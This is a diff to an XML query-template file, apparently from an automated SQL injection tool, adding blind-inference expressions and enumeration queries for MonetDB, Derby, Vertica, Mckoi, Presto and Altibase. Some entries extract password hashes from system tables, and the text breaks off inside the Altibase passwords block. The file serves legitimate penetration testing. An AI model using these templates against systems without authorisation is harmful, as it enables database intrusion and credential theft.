-        <cast query="CAST(%s AS CHAR)"/>
+        <!-- http://dba.fyicenter.com/faq/mysql/Difference-between-CHAR-and-NCHAR.html -->
+        <cast query="CAST(%s AS NCHAR)"/>
         <length query="CHAR_LENGTH(%s)"/>
         <isnull query="IFNULL(%s,' ')"/>
         <delimiter query=","/>
@@ -123,7 +124,7 @@
             <blind query="SELECT DISTINCT(query) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(query)) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;'"/>
         </statements>
         <dbs>
-            <inband query="SELECT schemaname FROM pg_tables"/>
+            <inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
             <blind query="SELECT DISTINCT(schemaname) FROM pg_tables OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
         </dbs>
         <tables>
@@ -242,6 +243,9 @@
         <concatenate query="%s||%s"/>
         <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
         <hex query="RAWTOHEX(%s)"/>
+        <!--
+        NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php)
+        -->
         <inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
         <banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
         <current_user query="SELECT USER FROM DUAL"/>
@@ -527,7 +531,7 @@
         </roles>
         <statements/>
         <dump_table>
-            <inband query="SELECT %s FROM %%s"/>
+            <inband query="SELECT %s FROM %s"/>
             <blind query="SELECT MIN(%s) FROM %s WHERE CHR(%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CHR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s) AS qq"/>
         </dump_table>
    </dbms>
@@ -872,4 +876,462 @@
         <search_table/>
         <search_column/>
     </dbms>
+
+    <!-- MonetDB -->
+    <dbms value="MonetDB">
+        <cast query="CAST(%s AS VARCHAR(4000))"/>
+        <length query="LENGTH(%s)"/>
+        <isnull query="COALESCE(%s,' ')"/>
+        <delimiter query="||"/>
+        <limit query="LIMIT %d OFFSET %d"/>
+        <limitregexp query="\s+LIMIT\s+([\d]+)\s*OFFSET\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
+        <limitgroupstart query="1"/>
+        <limitgroupstop query="2"/>
+        <limitstring query=" LIMIT "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--" query2="#"/>
+        <substring query="SUBSTRING((%s),%d,%d)"/>
+        <concatenate query="CONCAT(%s,%s)"/>
+        <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
+        <inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
+        <banner query="SELECT value FROM environment WHERE name='monet_version'"/>
+        <current_user query="CURRENT_USER"/>
+        <current_db query="SELECT CURRENT_SCHEMA" query2="SELECT value FROM environment WHERE name='gdk_dbname'"/>
+        <hostname/>
+        <table_comment/>
+        <column_comment/>
+        <is_dba query="(SELECT grantor FROM auths WHERE name=CURRENT_USER)=0"/>
+        <check_udf/>
+        <users>
+            <inband query="SELECT name FROM sys.users"/>
+            <!-- NOTE: LIMIT %d OFFSET %d not supported inside subqueries -->
+            <blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM sys.users)x WHERE x.y-1=%d" count="SELECT COUNT(name) FROM sys.users"/>
+        </users>
+        <passwords/>
+        <privileges/>
+        <roles/>
+        <statements/>
+        <dbs>
+            <inband query="SELECT name FROM schemas"/>
+            <blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM sys.schemas)x WHERE x.y-1=%d" count="SELECT COUNT(DISTINCT(name)) FROM schemas"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false"/>
+            <blind query="SELECT name FROM (SELECT tables.name,row_number() over() AS y FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s')x WHERE x.y-1=%d" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'"/>
+        </tables>
+        <columns>
+            <inband query="SELECT name,type FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s' AND tables.id=table_id)" condition="name"/>
+            <blind query="SELECT name FROM (SELECT name,row_number() over() AS y FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s'))x WHERE x.y-1=%d" query2="SELECT type FROM columns WHERE name='%s' AND table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s')" count="SELECT COUNT(name) FROM columns WHERE table_id=(SELECT tables.id FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.name='%s' AND schemas.name='%s')" condition="name"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s.%s"/>
+            <blind query="SELECT z FROM (SELECT %s AS z,row_number() over() AS y FROM %s.%s)x WHERE x.y-1=%d" count="SELECT COUNT(*) FROM %s.%s"/>
+        </dump_table>
+        <search_db>
+            <inband query="SELECT schemas.name FROM schemas WHERE %s" condition="schemas.name"/>
+            <blind query="SELECT DISTINCT(schemas.name) FROM schemas WHERE %s" count="SELECT COUNT(DISTINCT(schemas.name)) FROM schemas WHERE %s" condition="schemas.name"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" condition="tables.name" condition2="schemas.name"/>
+            <blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" condition="tables.name" condition2="schemas.name"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
+            <blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE schemas.name='%s'" count="SELECT COUNT(DISTINCT(schemas.name)) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE schemas.name='%s'" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
+        </search_column>
+    </dbms>
+
+    <!-- Apache Derby -->
+    <dbms value="Apache Derby">
+        <!-- NOTE: CHAR(%s) causes 'A truncation error was encountered trying to shrink CHAR' -->
+        <cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
+        <length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>
+        <isnull query="COALESCE(%s,' ')"/>
+        <delimiter query="||"/>
+        <limit query="{LIMIT %d OFFSET %d}"/>
+        <limitregexp query="{LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)}"/>
+        <limitgroupstart query="2"/>
+        <limitgroupstop query="1"/>
+        <limitstring/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <!-- NOTE: comment without alphanumeric char in continuation is invalid -->
+        <comment query="--x"/>
+        <substring query="SUBSTR((%s),%d,%d)"/>
+        <concatenate query="%s||%s"/>
+        <!-- NOTE: Apache Derby does not support implicit conversion from int to string -->
+        <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM SYSIBM.SYSDUMMY1"/>
+        <inference query="SUBSTR((%s),%d,1)>'%c'"/>
+        <banner/>
+        <current_user query="SELECT USER FROM SYSIBM.SYSDUMMY1"/>
+        <current_db query="SELECT CURRENT SCHEMA FROM SYSIBM.SYSDUMMY1"/>
+        <hostname/>
+        <table_comment/>
+        <column_comment/>
+        <!-- NOTE: ERROR 4251D: Only the database owner can perform this operation. -->
+        <is_dba query="(SELECT COUNT(*) FROM SYS.SYSUSERS)>=0"/>
+        <dbs>
+            <inband query="SELECT SCHEMANAME FROM SYS.SYSSCHEMAS"/>
+            <blind query="SELECT SCHEMANAME FROM SYS.SYSSCHEMAS {LIMIT 1 OFFSET %d}" count="SELECT COUNT(SCHEMANAME) FROM SYS.SYSSCHEMAS"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT SCHEMANAME,TABLENAME FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID" condition="SCHEMANAME"/>
+            <blind query="SELECT TABLENAME FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s' {LIMIT 1 OFFSET %d}" count="SELECT COUNT(TABLENAME) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'"/>
+        </tables>
+        <columns>
+            <!-- NOTE: COLUMNDATATYPE without CAST() causes problems during enumeration -->
+            <inband query="SELECT COLUMNNAME,RTRIM(CAST(COLUMNDATATYPE AS CHAR(254))) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE TABLENAME='%s' AND SCHEMANAME='%s'" condition="COLUMNNAME"/>
+            <blind query="SELECT COLUMNNAME FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE TABLENAME='%s' AND SCHEMANAME='%s'" query2="SELECT COLUMNDATATYPE FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE TABLENAME='%s' AND COLUMNNAME='%s' AND SCHEMANAME='%s'" count="SELECT COUNT(COLUMNNAME) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE TABLENAME='%s' AND SCHEMANAME='%s'" condition="COLUMNNAME"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s"/>
+            <blind query="SELECT %s FROM %s {LIMIT 1 OFFSET %d}" count="SELECT COUNT(*) FROM %s"/>
+        </dump_table>
+        <users>
+            <inband query="SELECT USERNAME FROM SYS.SYSUSERS"/>
+            <blind query="SELECT USERNAME FROM SYS.SYSUSERS {LIMIT 1 OFFSET %d}" count="SELECT COUNT(USERNAME) FROM SYS.SYSUSERS"/>
+        </users>
+        <!-- NOTE: No one can view the 'SYSUSERS'.'PASSWORD' column -->
+        <passwords/>
+        <privileges/>
+        <roles/>
+        <statements/>
+        <search_db>
+            <inband query="SELECT SCHEMANAME FROM SYS.SYSSCHEMAS WHERE %s" condition="SCHEMANAME"/>
+            <blind query="SELECT DISTINCT(SCHEMANAME) FROM SYS.SYSSCHEMAS WHERE %s" count="SELECT COUNT(DISTINCT(SCHEMANAME)) FROM SYS.SYSSCHEMAS WHERE %s" condition="SCHEMANAME"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT SCHEMANAME,TABLENAME FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" condition="TABLENAME" condition2="SCHEMANAME"/>
+            <blind query="SELECT DISTINCT(SCHEMANAME) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" query2="SELECT DISTINCT(TABLENAME) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMANAME)) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLENAME)) FROM SYS.SYSTABLES JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'" condition="TABLENAME" condition2="SCHEMANAME"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT SCHEMANAME,TABLENAME FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" condition="COLUMNNAME" condition2="SCHEMANAME" condition3="TABLENAME"/>
+            <blind query="SELECT DISTINCT(SCHEMANAME) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" count="SELECT COUNT(DISTINCT(SCHEMANAME)) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" query2="SELECT DISTINCT(TABLENAME) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE %s" count2="SELECT COUNT(DISTINCT(TABLENAME)) FROM SYS.SYSCOLUMNS JOIN SYS.SYSTABLES ON SYS.SYSCOLUMNS.REFERENCEID=SYS.SYSTABLES.TABLEID JOIN SYS.SYSSCHEMAS ON SYS.SYSTABLES.SCHEMAID=SYS.SYSSCHEMAS.SCHEMAID WHERE SCHEMANAME='%s'" condition="COLUMNNAME" condition2="SCHEMANAME" condition3="TABLENAME"/>
+        </search_column>
+   </dbms>
+
+    <!-- Vertica -->
+    <dbms value="Vertica">
+        <cast query="CAST(%s AS CHARACTER(10000))"/>
+        <length query="LENGTH(%s)"/>
+        <isnull query="COALESCE(%s,' ')"/>
+        <delimiter query="||"/>
+        <limit query="OFFSET %d LIMIT %d"/>
+        <limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
+        <limitgroupstart query="1"/>
+        <limitgroupstop query="2"/>
+        <limitstring query=" OFFSET "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--"/>
+        <substring query="SUBSTRING((%s) FROM %d FOR %d)"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
+        <!-- NOTE: requires >=9.1.1 because of 'cannot cast type varchar to varbinary' -->
+        <hex query="TO_HEX((%s)::varbinary)"/>
+        <inference query="ASCII(SUBSTRING((%s)::varchar FROM %d FOR 1))>%d"/>
+        <banner query="VERSION()"/>
+        <current_user query="CURRENT_USER"/>
+        <current_db query="CURRENT_SCHEMA()"/>
+        <hostname query="SELECT MIN(node_name) FROM v_catalog.nodes"/>
+        <table_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='TABLE' AND object_schema='%s' AND object_name='%s'"/>
+        <!-- NOTE: Vertica uses "projection columns" in case of column comments (e.g. testusers_super.surname) -->
+        <column_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='COLUMN' AND object_schema='%s' AND object_name LIKE '%.%s'"/>
+        <is_dba query="(SELECT is_super_user FROM v_catalog.users WHERE user_name=CURRENT_USER OFFSET 0 LIMIT 1)"/>
+        <check_udf query="(SELECT procedure_name='%s' FROM v_catalog.user_procedures WHERE procedure_name='%s' OFFSET 0 LIMIT 1)"/>
+        <users>
+            <inband query="SELECT user_name FROM v_catalog.users"/>
+            <blind query="SELECT user_name FROM v_catalog.users OFFSET %d LIMIT 1" count="SELECT COUNT(user_name) FROM v_catalog.users"/>
+        </users>
+        <passwords>
+            <inband query="SELECT user_name,password FROM v_catalog.passwords" condition="user_name"/>
+            <blind query="SELECT password FROM v_catalog.passwords WHERE user_name='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(password) FROM v_catalog.passwords WHERE user_name='%s'"/>
+        </passwords>
+        <privileges>
+            <inband query="SELECT grantee,privileges_description FROM v_catalog.grants WHERE object_type!='PROCEDURE'" condition="grantee"/>
+            <!-- NOTE: Vertica does not cache DISTINCT queries (must use ORDER BY to have consistent results) -->
+            <blind query="SELECT DISTINCT(privileges_description) FROM v_catalog.grants WHERE grantee='%s' ORDER BY 1 LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(privileges_description)) FROM grants WHERE grantee='%s'"/>
+        </privileges>
+        <roles/>
+        <statements>
+            <inband query="SELECT current_statement FROM v_monitor.sessions"/>
+            <blind query="SELECT DISTINCT(current_statement) FROM v_monitor.sessions ORDER BY 1 OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(current_statement)) FROM v_monitor.sessions"/>
+        </statements>
+        <dbs>
+            <inband query="SELECT schema_name FROM v_catalog.schemata"/>
+            <blind query="SELECT DISTINCT(schema_name) FROM v_catalog.schemata ORDER BY 1 OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM v_catalog.schemata"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT schema_name,table_name FROM v_catalog.all_tables" condition="schema_name"/>
+            <blind query="SELECT table_name FROM v_catalog.all_tables WHERE schema_name='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(table_name) FROM v_catalog.all_tables WHERE schema_name='%s'"/>
+        </tables>
+        <columns>
+            <inband query="SELECT column_name,data_type FROM v_catalog.columns WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
+            <blind query="SELECT column_name FROM v_catalog.columns WHERE table_name='%s' AND table_schema='%s'" query2="SELECT data_type FROM v_catalog.columns WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM v_catalog.columns WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
+        </dump_table>
+        <search_db>
+            <inband query="SELECT schema_name FROM v_catalog.schemata WHERE %s" condition="schema_name"/>
+            <blind query="SELECT DISTINCT(schema_name) FROM v_catalog.schemata WHERE %s ORDER BY 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM v_catalog.schemata WHERE %s" condition="schema_name"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT schema_name,table_name FROM v_catalog.all_tables WHERE %s" condition="table_name" condition2="schema_name"/>
+            <blind query="SELECT DISTINCT(schema_name) FROM v_catalog.all_tables WHERE %s ORDER BY 1" query2="SELECT table_name FROM v_catalog.all_tables WHERE schema_name='%s'" count="SELECT COUNT(DISTINCT(schema_name)) FROM v_catalog.all_tables WHERE %s" count2="SELECT COUNT(table_name) FROM v_catalog.all_tables WHERE schema_name='%s'" condition="table_name" condition2="schema_name"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT table_schema,table_name FROM v_catalog.columns WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM v_catalog.columns WHERE %s ORDER BY 1" query2="SELECT DISTINCT(table_name) FROM v_catalog.columns WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM v_catalog.columns WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM v_catalog.columns WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
+        </search_column>
+    </dbms>
+
+    <!-- Mckoi -->
+    <!-- NOTE: DBMS with minimalistic set of (restricted) features -->
+    <dbms value="Mckoi">
+        <cast query="CONCAT('',%s)"/>
+        <length query="LENGTH(%s)"/>
+        <isnull query="IF(%s IS NULL,' ', %s)"/>
+        <delimiter query="||"/>
+        <limit/>
+        <limitregexp/>
+        <limitgroupstart/>
+        <limitgroupstop/>
+        <limitstring/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query=";"/>
+        <substring query="SUBSTRING((%s),%d,%d)"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (IF(%s,1,0))"/>
+        <!-- NOTE: other way around does not work -->
+        <inference query="'%c'&lt;SUBSTRING((%s),%d,1)"/>
+        <banner/>
+        <current_user/>
+        <current_db/>
+        <hostname/>
+        <table_comment/>
+        <column_comment/>
+        <is_dba/>
+        <dbs/>
+        <tables/>
+        <dump_table>
+            <inband query="SELECT %s FROM %s"/>
+            <blind query="SELECT MIN(%s) FROM %s WHERE CONCAT('',%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONCAT('',%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(DISTINCT(%s)) FROM %s"/>
+        </dump_table>
+        <users/>
+        <privileges/>
+        <roles/>
+        <statements/>
+        <search_db/>
+        <search_table/>
+        <search_column/>
+   </dbms>
+
+    <!-- Presto -->
+    <dbms value="Presto">
+        <cast query="CAST(%s AS VARCHAR(4000))"/>
+        <length query="LENGTH(%s)"/>
+        <isnull query="COALESCE(%s,' ')"/>
+        <delimiter query="||"/>
+        <limit query="OFFSET %d LIMIT %d"/>
+        <limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
+        <limitgroupstart query="1"/>
+        <limitgroupstop query="2"/>
+        <limitstring query=" OFFSET "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--"/>
+        <substring query="SUBSTR(%s,%d,%d)"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
+        <hex query="TO_HEX(%s)"/>
+        <inference query="CODEPOINT(SUBSTR((%s),%d,1))>%d" dbms_version="&gt;=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>/>
+        <banner/>
+        <current_user query="CURRENT_USER"/>
+        <current_db/>
+        <hostname/>
+        <table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
+        <column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
+        <is_dba/>
+        <check_udf/>
+        <users/>
+        <passwords/>
+        <privileges/>
+        <roles/>
+        <statements/>
+        <dbs>
+            <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA"/>
+            <blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY 1 OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA"/>
+        </dbs>
+        <tables>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES" condition="table_schema"/>
+            <blind query="SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'"/>
+        </tables>
+        <columns>
+            <inband query="SELECT column_name,data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
+            <blind query="SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" query2="SELECT data_type FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" count="SELECT COUNT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='%s' AND table_schema='%s'" condition="column_name"/>
+        </columns>
+        <dump_table>
+            <inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
+            <blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
+        </dump_table>
+        <search_db>
+            <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+            <blind query="SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" count="SELECT COUNT(DISTINCT(schema_name)) FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition="schema_name"/>
+        </search_db>
+        <search_table>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.TABLES WHERE %s" condition="table_name" condition2="table_schema"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.TABLES WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s'" condition="table_name" condition2="table_schema"/>
+        </search_table>
+        <search_column>
+            <inband query="SELECT table_schema,table_name FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" condition="column_name" condition2="table_schema" condition3="table_name"/>
+            <blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
+        </search_column>
+    </dbms>
+
+    <!-- Altibase -->
+    <dbms value="Altibase">
+        <cast query="CAST(%s AS VARCHAR(4000))"/>
+        <length query="LENGTH(%s)"/>
+        <isnull query="NVL(%s,' ')"/>
+        <delimiter query="||"/>
+        <limit query="LIMIT %d,%d"/>
+        <limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
+        <limitgroupstart query="1"/>
+        <limitgroupstop query="2"/>
+        <limitstring query=" LIMIT "/>
+        <order query="ORDER BY %s ASC"/>
+        <count query="COUNT(%s)"/>
+        <comment query="--" query2="/*"/>
+        <substring query="SUBSTR((%s),%d,%d)"/>
+        <concatenate query="%s||%s"/>
+        <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
+        <hex query="HEX_ENCODE(%s)"/>
+        <inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
+        <banner query="SELECT PRODUCT_SIGNATURE FROM V$DATABASE"/>
+        <current_user query="USER_NAME()"/>
+        <current_db query="USER_NAME()"/>
+        <hostname/>
+        <table_comment query="SELECT COMMENTS FROM SYSTEM_.SYS_COMMENTS_ WHERE USER_NAME='%s' AND TABLE_NAME='%s'"/>
+        <column_comment query="SELECT COMMENTS FROM SYSTEM_.SYS_COMMENTS_ WHERE USER_NAME='%s' AND TABLE_NAME='%s' AND COLUMN_NAME='%s'"/>
+        <is_dba query="(SELECT COUNT(*) FROM SYSTEM_.DBA_USERS_ WHERE USER_NAME=USER_NAME())=1"/>
+        <users>
+            <inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_"/>
+            <blind query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ LIMIT %d,1" count="SELECT COUNT(USER_NAME) FROM SYSTEM_.SYS_USERS_"/>
+        </users>
+        <passwords>
+            <inband query="SELECT USER_NAME,PASSWORD FROM SYSTEM_.SYS_USERS_" condition="USER_NAME"/>
